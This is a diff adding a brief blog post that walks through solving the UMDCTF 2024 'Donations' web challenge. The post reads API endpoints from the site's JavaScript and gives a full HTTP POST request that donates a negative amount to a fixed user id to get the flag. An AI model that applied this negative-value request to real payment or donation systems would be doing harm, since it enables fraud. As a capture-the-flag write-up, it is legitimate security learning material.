1 files changed, 38 insertions, 0 deletions
diff --git a/trees/blog/archive/umdctf-2024-donations.md b/trees/blog/archive/umdctf-2024-donations.md
new file mode 100644
index 0000000..2f7a445
--- /dev/null
+++ b/trees/blog/archive/umdctf-2024-donations.md
@@ -0,0 +1,38 @@
+---
+title: "umdctf2024 - Donations"
+date: 2024-04-28T18:57:47-03:00
+draft: false
+description: ""
+tags: ["web", "ctf"]
+---
+
+
+After downloading and prettifying the javascript code we see that there's a `/api/flag` and a `/api/donate` endpoints.
+
+The flag route returns:
+
+```json
+{"detail":"only the wealthy may view the treasure..."}
+```
+
+After trying some things that didn't work, I went to the donate functionality.
+Using the parameters that I found in the javascript I is playing with this funcionality and noticed that you can only donate to a specific user
+
+```json
+{"detail":"you may only donate to Jeff Bezos"}
+```
+
+And somehow that Jeff Bezos's id is `lisanalgaib`
+
+The solution was to donate a negative amount and earn that in return.
+
+```http
+POST /api/donate HTTP/2
+Host: donations-api.challs.umdctf.io
+Content-Length: 30
+Cookie: session=...
+Content-Type: application/x-www-form-urlencoded
+
+to=lisanalgaib&currency=-99999
+```
+